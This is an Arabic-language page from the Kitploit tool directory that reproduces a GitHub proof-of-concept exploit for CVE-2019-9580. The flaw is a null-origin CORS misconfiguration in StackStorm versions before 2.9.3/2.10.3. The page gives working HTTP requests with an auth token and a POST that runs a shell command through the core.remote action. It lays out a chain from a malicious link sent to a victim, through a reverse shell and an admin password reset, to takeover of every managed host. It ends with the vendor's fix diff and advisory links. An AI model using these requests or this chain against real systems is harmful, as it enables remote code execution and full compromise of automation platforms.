Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/mpgn/cve-2019-9580
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHubmpgn/cve-2019-9580

CVE-2019-9580

CVE-2019-9580 - StackStorm: استغلال سوء إعداد CORS (أصل null) للحصول على RCE

عرض المستودع
3143منذ 7 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2019-9580 - استغلال StackStorm لثغرة CORS ذات الأصل null للحصول على RCE في الإصدارات الأقدم من 2.9.3 و2.10.3

قبل الإصدارين 2.10.3/2.9.3، إذا كان أصل الطلب غير معروف، كنا نُرجع null. وnull يمكن أن تؤدي إلى نجاح الطلب من أصل غير معروف في بعض العملاء. مما يسمح بإمكانية هجمات من نمط XSS ضد واجهة برمجة تطبيقات StackStorm.

اكتُشفت بواسطة Barak Tawily وAnna Tsibulskaya

Peek 13-03-2019 17-16 (المستخدم على Firefox هو الضحية، والمستخدم على Chrome هو المهاجم)

إثبات المفهوم

استغلال null CORS

عند إرسال طلب إلى واجهة برمجة تطبيقات StackStorm مع ترويسة أصل Origin: null، يستجيب الخادم بـ Access-Control-Allow-Origin بقيمة null.

root@kitploit:~
GET /api/v1/executions?action=packs.get_config&limit=5&exclude_attributes=trigger_instance&parent=null HTTP/1.1
Host: localhost:4443
Origin: 443
Referer: https://localhost:4443/
x-auth-token: a19e39b9dff24e4798ba04c7036d0275

استجابة الخادم:

root@kitploit:~
Access-Control-Allow-Origin: null <-- hug hug hug
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type,Authorization,X-Auth-Token,St2-Api-Key,X-Request-ID
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,X-Limit,X-Total-Count,X-Request-ID

استغلال null CORS موثّق في منشور مدونة من portswigger ويمكننا العثور على الحمولة التالية:

root@kitploit:~

لكن ماذا عن RCE؟

يتيح لك StackStorm تكوين الإجراءات وبعضها مثل core.remote ينفّذ أوامر عشوائية على المضيف الذي تختاره.

image

لذا إذا وضعنا المضيف 127.0.0.1، فسننفّذ الأمر على حاوية StackStorm docker. رائع، RCE يجب أن تنجح نظرًا لأن طلب POST بسيط يُرسل لتسجيل إجراء.

root@kitploit:~
POST /api/v1/executions HTTP/1.1
Host: localhost:4443
Origin: null
Content-Type: application/json
x-auth-token: a19e39b9dff24e4798ba04c7036d0275
Content-Length: 131

{"action":"core.remote","parameters":{"cmd":"touch /tmp/pwn2.txt","hosts":"127.0.0.1","cwd":"/tmp"},"context":{"trace_context":{}}}

ماذا بعد ذلك؟

يمكننا تنفيذ الأوامر على مضيف StackStorm، حسنًا، لكن دعونا نحصل على السيطرة الكاملة على منصة StackStorm. يمكن تحقيق ذلك عن طريق إعادة تعيين كلمة مرور المسؤول. باستخدام التوثيق:

تريد تغيير كلمة المرور؟ نفّذ: sudo htpasswd /etc/st2/htpasswd st2admin. https://docs.stackstorm.com/authentication.html

رائع، دعونا فقط نجمع كل شيء معًا:

  1. أرسل رابطًا إلى الضحية يحتوي على حمولة خبيثة تسجّل إجراءً جديدًا على المضيف 127.0.0.1 لتنفيذ أمر عشوائي
  2. يضغط الضحية على الرابط ويشاهد المهر
  3. نظرًا لأن CORS تكون null عندما يُرسل طلب بترويسة Origin: null، فإن طلب POST لتسجيل الإجراء الجديد يعمل (قمنا أيضًا بتعيين المعامل credentials: "include")
  4. يتم تشغيل الإجراء وتنفيذ الأمر (shell عكسي)
  5. يعيد المهاجم تعيين كلمة مرور المسؤول ويحصل على السيطرة الكاملة على منصة StackStorm
  6. يمكن للمهاجم إفساد جميع المضيفات الأخرى المسجلة في StackStorm

capture d'écran_1

الاستشارة الأمنية:

  • https://stackstorm.com/2019/03/08/stackstorm-2-9-3-2-10-3/
  • https://github.com/StackStorm/st2/pull/4577/commits/66605b7b202b8bd2db1ccd8c1ce7279028ac86d4
root@kitploit:~
From 66605b7b202b8bd2db1ccd8c1ce7279028ac86d4 Mon Sep 17 00:00:00 2001
From: bigmstone <[email protected]>
Date: Tue, 5 Mar 2019 12:22:26 -0600
Subject: [PATCH] Fix improper CORS return

Prior to this commit if you sent a request from an origin not listed in
`allowed_origins` we would respond with `null` for the
`Access-Control-Allow-Origin` header. Per
[https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin#Directives](mozilla's documentation)
null should not be used as some clients will allow the request to go
through. This commit returns the first of our allowed origins if the
requesting origin is not a supported origin.
---
 st2api/tests/unit/controllers/v1/test_base.py | 4 ++--
 st2common/st2common/middleware/cors.py        | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/st2api/tests/unit/controllers/v1/test_base.py b/st2api/tests/unit/controllers/v1/test_base.py
index 2a753f22ea..e66148a0a5 100644
--- a/st2api/tests/unit/controllers/v1/test_base.py
+++ b/st2api/tests/unit/controllers/v1/test_base.py
@@ -51,8 +51,8 @@ def test_wrong_origin(self):
             'origin': 'http://xss'
         })
         self.assertEqual(response.status_int, 200)
-        self.assertEqual(response.headers['Access-Control-Allow-Origin'],
-                         'null')
+        self.assertEqual(response.headers.get('Access-Control-Allow-Origin'),
+                        'http://127.0.0.1:3000')
 
     def test_wildcard_origin(self):
         try:
diff --git a/st2common/st2common/middleware/cors.py b/st2common/st2common/middleware/cors.py
index 5781b1a6e7..8cb407b52c 100644
--- a/st2common/st2common/middleware/cors.py
+++ b/st2common/st2common/middleware/cors.py
@@ -66,7 +66,7 @@ def custom_start_response(status, headers, exc_info=None):
                     origin_allowed = origin
                 else:
                     # See http://www.w3.org/TR/cors/#access-control-allow-origin-response-header
-                    origin_allowed = origin if origin in origins else 'null'
+                    origin_allowed = origin if origin in origins else list(origins)[0]
             else:
                 origin_allowed = list(origins)[0]

الموارد:

  • https://stackstorm.com/2019/03/08/stackstorm-2-9-3-2-10-3/
  • https://quitten.github.io/StackStorm/
تنزيل الأداة